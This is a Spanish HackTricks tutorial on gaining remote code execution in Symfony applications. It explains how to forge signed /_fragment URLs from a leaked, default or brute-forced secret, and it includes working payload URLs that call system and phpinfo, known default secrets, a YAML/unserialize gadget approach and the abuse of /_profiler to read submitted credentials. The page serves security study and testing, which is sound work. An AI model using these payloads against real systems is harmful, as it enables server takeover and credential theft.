33 KiB
Symfony
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Introducción
Desde su creación en 2008, el uso del framework Symfony ha ido creciendo cada vez más en aplicaciones basadas en PHP. Ahora es un componente central de muchos CMS conocidos, como Drupal, Joomla!, eZPlatform (anteriormente eZPublish), o Bolt, y se utiliza a menudo para construir sitios web personalizados.
Una de las características integradas de Symfony, diseñada para manejar ESI (Edge-Side Includes), es la clase FragmentListener
. Esencialmente, cuando alguien emite una solicitud a /_fragment
, este listener establece atributos de solicitud a partir de los parámetros GET proporcionados. Dado que esto permite ejecutar código PHP arbitrario (más sobre esto más adelante), la solicitud debe estar firmada usando un valor HMAC. La clave criptográfica secreta de este HMAC se almacena bajo un valor de configuración de Symfony llamado secret
.
Este valor de configuración, secret
, también se utiliza, por ejemplo, para construir tokens CSRF y tokens de función "recuérdame". Dada su importancia, este valor debe ser obviamente muy aleatorio.
Desafortunadamente, hemos descubierto que a menudo, el secret
tiene un valor predeterminado, o existen formas de obtener el valor, forzarlo offline, o simplemente eludir la verificación de seguridad con la que está involucrado. Afecta notablemente a Bolt, eZPlatform y eZPublish.
Aunque esto puede parecer un problema de configuración benigno, hemos encontrado que los valores predeterminados, forzables o adivinables están muy, muy a menudo presentes en los CMS mencionados, así como en aplicaciones personalizadas. Esto se debe principalmente a no enfatizar lo suficiente su importancia en la documentación o guías de instalación.
Además, un atacante puede escalar vulnerabilidades de menor impacto para leer el secret
(a través de una divulgación de archivos), eludir el proceso de firma de /_fragment
(usando un SSRF), ¡e incluso filtrarlo a través de phpinfo()
!
En este blogpost, describiremos cómo se puede obtener el secret
en varios CMS y en el framework base, y cómo ejecutar código usando dicho secret
.
Un poco de historia
Siendo un framework moderno, Symfony ha tenido que lidiar con la generación de subpartes de una solicitud desde su creación hasta nuestros días. Antes de /_fragment
, estaba /_internal
y /_proxy
, que hacían esencialmente lo mismo. Esto produjo muchas vulnerabilidades a lo largo de los años: CVE-2012-6432, CVE-2014-5245, y CVE-2015-4050, por ejemplo.
Desde Symfony 4, el secret
se genera durante la instalación, y la página /_fragment
está desactivada por defecto. Uno podría pensar, por lo tanto, que la conjunción de ambos, tener un secret
débil y /_fragment
habilitado, sería rara. No es así: muchos frameworks dependen de versiones antiguas de Symfony (incluso la versión 2.x sigue estando muy presente), e implementan un valor secret
estático o lo generan de manera deficiente. Además, muchos dependen de ESI y, como tal, habilitan la página /_fragment
. Además, como veremos, otras vulnerabilidades de menor impacto pueden permitir volcar el secret
, incluso si se ha generado de forma segura.
Ejecutando código con la ayuda de secret
Primero demostraremos cómo un atacante, teniendo conocimiento del valor de configuración secret
, puede obtener ejecución de código. Esto se hace para la última versión de symfony/http-kernel
, pero es similar para otras versiones.
Usando /_fragment
para ejecutar código arbitrario
Como se mencionó anteriormente, haremos uso de la página /_fragment
.
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
se ejecutará en cada solicitud: si la ruta de la solicitud es /_fragment
[1], el método primero verificará que la solicitud sea válida (es decir, debidamente firmada), y lanzará una excepción en caso contrario [2]. Si las comprobaciones de seguridad tienen éxito, analizará el parámetro _path
codificado en la URL y establecerá los atributos de $request
en consecuencia.
Los atributos de la solicitud no deben confundirse con los parámetros de la solicitud HTTP: son valores internos, mantenidos por Symfony, que generalmente no pueden ser especificados por un usuario. Uno de estos atributos de la solicitud es _controller
, que especifica qué controlador de Symfony (una tupla (clase, método) o simplemente una función) debe ser llamado. Los atributos cuyo nombre no comienza con _
son argumentos que se van a proporcionar al controlador. Por ejemplo, si quisiéramos llamar a este método:
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
Estableceríamos _path
a:
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
La solicitud se vería entonces así:
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
Esencialmente, esto permite llamar a cualquier función o método de cualquier clase, con cualquier parámetro. Dada la gran cantidad de clases que tiene Symfony, conseguir la ejecución de código es trivial. Podemos, por ejemplo, llamar a system()
:
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
Llamar a system no funcionará siempre: consulta la sección de Exploit para obtener más detalles sobre las sutilezas de la explotación.
Un problema permanece: ¿cómo verifica Symfony la firma de la solicitud?
Firmando la URL
Para verificar la firma de una URL, se calcula un HMAC contra la URL completa. El hash obtenido se compara entonces con el especificado por el usuario.
En términos de código, esto se hace en dos lugares:
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
En resumen, Symfony extrae el parámetro GET _hash
, luego reconstruye la URL completa, por ejemplo https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
, calcula un HMAC de esta URL utilizando el secret
como clave [1], y lo compara con el valor de hash dado [2]. Si no coinciden, se lanza una excepción AccessDeniedHttpException
[3], resultando en un error 403
.
Ejemplo
Para probar esto, configuramos un entorno de prueba y extraemos el secreto (en este caso, generado aleatoriamente).
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
Ahora, al visitar http://localhost:8000/_fragment
se obtiene un 403
. Intentemos ahora proporcionar una firma válida:
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
Al verificar http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
, ahora tenemos un código de estado 404
. La firma era correcta, pero no especificamos ningún atributo de solicitud, por lo que Symfony no encuentra nuestro controlador.
Dado que podemos llamar a cualquier método, con cualquier argumento, podemos, por ejemplo, elegir system($command, $return_value)
, y proporcionar un payload de la siguiente manera:
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
Podemos ahora visitar la URL del exploit: http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
.
A pesar del error 500
, podemos ver que nuestro comando se ejecutó.
RCE usando fragment
Encontrando secretos
De nuevo: nada de esto importaría si los secretos no fueran accesibles. A menudo, lo son. Describiremos varias formas de obtener ejecución de código sin conocimiento previo.
A través de vulnerabilidades
Comencemos con lo obvio: usar vulnerabilidades de menor impacto para obtener el secreto.
Lectura de archivos
Evidentemente, una vulnerabilidad de lectura de archivos podría usarse para leer los siguientes archivos y obtener secret
:
app/config/parameters.yml
.env
Como ejemplo, algunas barras de herramientas de depuración de Symfony permiten leer archivos.
PHPinfo
En versiones recientes de Symfony (3.x), secret
se almacena en .env
como APP_SECRET
. Dado que luego se importa como una variable de entorno, se pueden ver a través de una página phpinfo()
.
Filtrando APP_SECRET a través de phpinfo
Esto se puede hacer notablemente a través del paquete profiler de Symfony, como demuestra la captura de pantalla.
SSRF / Suplantación de IP (CVE-2014-5245)
El código detrás de FragmentListener
ha evolucionado a lo largo de los años: hasta la versión 2.5.3, cuando la solicitud provenía de un proxy de confianza (léase: localhost
), se consideraría segura y, como tal, no se verificaría el hash. Un SSRF, por ejemplo, puede permitir ejecutar código inmediatamente, independientemente de tener secret
o no. Esto afecta notablemente a eZPublish hasta 2014.7.
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
A través de valores predeterminados
Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt
Al configurar un sitio web Symfony, el primer paso es instalar el esqueleto symfony-standard. Una vez instalado, se solicita ingresar algunos valores de configuración. Por defecto, la clave es ThisTokenIsNotSoSecretChangeIt
.
Instalación de Symfony a través de composer
En versiones posteriores (4+), la clave secreta se genera de forma segura.
ezPlatform 3.x (última): ff6dc61a329dc96652bb092ec58981f7
ezPlatform, el sucesor de ezPublish, todavía utiliza Symfony. El 10 de junio de 2019, un commit estableció la clave predeterminada en ff6dc61a329dc96652bb092ec58981f7
. Las versiones vulnerables van desde 3.0-alpha1 hasta 3.1.1 (actual).
Aunque la documentación indica que se debe cambiar el secreto, no se hace cumplir.
ezPlatform 2.x: ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
Al igual que el esqueleto de Symfony, se le pedirá que ingrese un secreto durante la instalación. El valor predeterminado es ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
.
Bolt CMS <= 3.7 (última): md5(__DIR__)
Bolt CMS utiliza Silex, un micro-framework obsoleto basado en Symfony. Configura la clave secreta utilizando este cálculo:
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
Como tal, uno puede adivinar el secreto o utilizar una vulnerabilidad de Full Path Disclosure para calcularlo.
Si no tuviste éxito con las claves secretas predeterminadas, no te desesperes: hay otras formas.
Fuerza bruta
Dado que el secreto a menudo se establece manualmente (en lugar de generarse aleatoriamente), las personas a menudo usarán una frase de paso en lugar de un valor aleatorio seguro, lo que lo hace susceptible a fuerza bruta si tenemos un hash contra el cual realizar la fuerza bruta. Obviamente, una URL válida de /_fragment
, como una generada por Symfony, nos proporcionaría una tupla de mensaje-hash válida para forzar bruta el secreto.
Una solicitud válida al fragmento se incluye en la respuesta
Al principio de este blogpost, dijimos que el secreto de Symfony tenía varios usos. Uno de esos usos es que también se utiliza para generar tokens CSRF. Otro uso de secret
es firmar cookies de recordar usuario. En algunos casos, un atacante puede usar su propio token CSRF o cookie de recordar usuario para forzar bruta el valor de secret
.
La ingeniería inversa de la construcción de esos tokens se deja como ejercicio para el lector.
Profundizando: eZPublish
Como ejemplo de cómo los secretos pueden ser forzados bruta para lograr la ejecución de código, veremos cómo podemos descubrir el secreto de eZPublish 2014.07.
Encontrando material para fuerza bruta
eZPublish genera sus tokens CSRF de la siguiente manera:
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
Para construir este token, eZP utiliza dos valores que conocemos, y el secreto: getIntention()
es la acción que el usuario está intentando realizar (authenticate
por ejemplo), session_id()
es el ID de sesión de PHP, y getSecret()
, bueno, es el secret
de Symfony.
Dado que los tokens CSRF se pueden encontrar en algunos formularios, ahora tenemos el material para forzar bruscamente el secreto.
Desafortunadamente, ezPublish incorporó un paquete de sensiolabs, sensio/distribution-bundle. Este paquete asegura que la clave secreta sea aleatoria. La genera de esta manera, durante la instalación:
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
Esto parece muy difícil de forzar bruscamente: mt_rand()
puede producir 231 valores diferentes, y uniqid()
se construye a partir de la marca de tiempo actual (con microsegundos).
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
Revelando el timestamp
Afortunadamente, sabemos que este secreto se genera en el último paso de la instalación, justo después de que se configura el sitio web. Esto significa que probablemente podemos filtrar el timestamp utilizado para generar este hash.
Una forma de hacerlo es utilizando los registros (por ejemplo, /var/log/storage.log
); se puede filtrar la primera vez que se creó una entrada de caché. La entrada de caché se crea justo después de que se llama a generateRandomSecret()
.
Contenido de muestra del registro: el timestamp es similar al utilizado para calcular el secreto
Si los registros no están disponibles, se puede utilizar el motor de búsqueda muy potente de eZPublish para encontrar el momento de creación del primer elemento del sitio web. De hecho, cuando se crea el sitio, se introducen muchos timestamps en la base de datos. Esto significa que el timestamp de los datos iniciales del sitio web eZPublish es el mismo que se utilizó para calcular uniqid()
. Podemos buscar el ContentObject landing_page
y descubrir su timestamp.
Fuerza bruta para los bits faltantes
Ahora estamos al tanto del timestamp utilizado para calcular el secreto, así como de un hash de la siguiente forma:
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
Esto nos deja con un total de 231 * 106 posibilidades. Parece factible con hashcat y un buen conjunto de GPUs, pero hashcat no proporciona un kernel sha1(sha1($pass).$salt)
. Afortunadamente, ¡lo implementamos! Puedes encontrar la solicitud de extracción aquí.
Usando nuestra máquina de cracking, que cuenta con 8 GPUs, podemos descifrar este hash en menos de 20 horas.
Después de obtener el hash, podemos usar /_fragment
para ejecutar código.
Conclusión
Symfony es ahora un componente central de muchas aplicaciones PHP. Como tal, cualquier riesgo de seguridad que afecte al framework afecta a muchos sitios web. Como se demostró en este artículo, ya sea una clave secreta débil o una vulnerabilidad de menor impacto permite a los atacantes obtener ejecución de código remoto.
Como miembro de un equipo azul, deberías revisar todos tus sitios web que dependen de Symfony. El software actualizado no puede descartarse por vulnerabilidades, ya que la clave secreta se genera en la primera instalación del producto. Por lo tanto, si creaste un sitio web basado en Symfony-3.x hace unos años y lo mantuviste actualizado en el camino, es probable que la clave secreta siga siendo la predeterminada.
Explotación
Teoría
Por un lado, tenemos algunas preocupaciones al explotar esta vulnerabilidad:
- El HMAC se calcula usando la URL completa. Si el sitio web está detrás de un proxy inverso, necesitamos usar la URL interna del servicio en lugar de la que estamos enviando nuestro payload. Por ejemplo, la URL interna podría ser sobre HTTP en lugar de HTTPS.
- El algoritmo de HMAC ha cambiado a lo largo de los años: era SHA-1 antes y ahora es SHA-256.
- Dado que Symfony elimina el parámetro
_hash
de la solicitud y luego genera la URL de nuevo, necesitamos calcular el hash en la misma URL que lo hace. - Hay muchas claves secretas que se pueden usar, por lo que necesitamos verificarlas todas.
- En algunas versiones de PHP, no podemos llamar a funciones que tienen parámetros "por referencia", como
system($command, &$return_value)
. - En algunas versiones de Symfony,
_controller
no puede ser una función, tiene que ser un método. Necesitamos encontrar un método de Symfony que nos permita ejecutar código.
Por otro lado, podemos aprovechar algunas cosas:
- Acceder a
/_fragment
sin parámetros, o con un hash inválido, debería devolver un403
. - Acceder a
/_fragment
con un hash válido pero sin un controlador válido debería producir un500
.
El último punto nos permite probar valores secretos sin preocuparnos por qué función o método vamos a llamar después.
Práctica
Supongamos que estamos atacando https://target.com/_fragment
. Para poder firmar correctamente una URL, necesitamos conocimiento de:
- URL interna: podría ser
https://target.com/_fragment
, o quizáshttp://target.com/_fragment
, o algo completamente diferente (por ejemplo,http://target.website.internal
), lo cual no podemos adivinar - Clave secreta: tenemos una lista de claves secretas habituales, como
ThisTokenIsNotSoSecretChangeIt
,ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
, etc. - Algoritmo: SHA1 o SHA256
No necesitamos preocuparnos por el payload efectivo (el contenido de _path
) todavía, porque una URL firmada correctamente no resultará en una excepción AccessDeniedHttpException
, y como tal no resultará en un 403
. Por lo tanto, el exploit intentará cada combinación de (algoritmo, URL, secreto)
, generará una URL y verificará si no produce un código de estado 403
.
Una solicitud válida a /_fragment
, sin el parámetro _path
En este punto, podemos firmar cualquier URL de /_fragment
, lo que significa que es un RCE garantizado. Solo es cuestión de qué llamar.
Luego, necesitamos averiguar si podemos llamar a una función directamente, o si necesitamos usar un método de clase. Podemos intentar primero la forma más directa y sencilla, usando una función como phpinfo ([ int $what = INFO_ALL ] )
(documentación). El parámetro GET _path
se vería así:
_controller=phpinfo
&what=-1
Y la URL se vería así:
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
Si la respuesta HTTP muestra una página phpinfo()
, ganamos. Luego podemos intentar usar otra función, como assert
:
Ejemplo de salida usando _controller=assert
De lo contrario, esto significa que necesitaremos usar un método de clase en su lugar. Un buen candidato para esto es Symfony\Component\Yaml\Inline::parse
, que es una clase incorporada de Symfony y, como tal, está presente en sitios web de Symfony.
Obviamente, este método analiza una cadena de entrada YAML. El analizador YAML de Symfony admite la etiqueta php/object
, que convertirá una cadena de entrada serializada en un objeto utilizando unserialize()
. ¡Esto nos permite usar nuestra herramienta PHP favorita, PHPGGC!
El prototipo del método ha cambiado a lo largo de los años. Por ejemplo, aquí hay tres prototipos diferentes:
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
En lugar de construir `_path` para cada uno de estos, podemos aprovechar el hecho de que si damos un argumento cuyo nombre no coincide con el prototipo del método, será ignorado. Por lo tanto, podemos agregar todos los argumentos posibles al método, sin preocuparnos por el prototipo real.
Por lo tanto, podemos construir `_path` de la siguiente manera:
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
De nuevo, podemos intentar con phpinfo()
, y ver si funciona. Si lo hace, podemos usar system()
en su lugar.
Salida de muestra usando Inline::parse
con una carga útil serializada
El exploit, por lo tanto, ejecutará todas las posibles combinaciones de variables y luego probará los dos métodos de explotación. El código está disponible en nuestro GitHub.
Accediendo a la información de symfony /_profiler
Como ves en la captura de pantalla anterior, hay un logo de sf
en la parte inferior derecha de la página. Este logo se muestra cuando Symfony está en modo de depuración. Hay casos en los que este logo no aparece, así que intenta acceder a /_profiler
y verás la página como se muestra a continuación
Esta característica se llama Symfony Profiler, y no hay mucha información sobre esta característica en internet. La intención de esta característica es muy clara; te ayuda a depurar cuando hay un error o un bug. Por supuesto, esta característica solo se puede usar cuando el modo de depuración está habilitado.
El framework Symfony en sí es muy seguro, pero habilitar el modo de depuración hará que este framework sea extremadamente vulnerable. Por ejemplo, Profiler tiene una característica llamada Búsqueda de Perfiles, como la siguiente captura de pantalla.
Como ves en la captura de pantalla anterior, puedes acceder a todas las solicitudes enviadas al servidor. Al hacer clic en los hashes en el token, verás que todos los parámetros POST se pueden leer, como se ve en la siguiente captura de pantalla. Con esta característica, podemos secuestrar las credenciales de las cuentas de administradores y usuarios.
Otros Endpoints con Depuración Habilitada
También deberías revisar estas URLs:
Referencias
- https://www.ambionics.io/blog/symfony-secret-fragment
- https://flattsecurity.hatenablog.com/entry/2020/11/02/124807
- https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.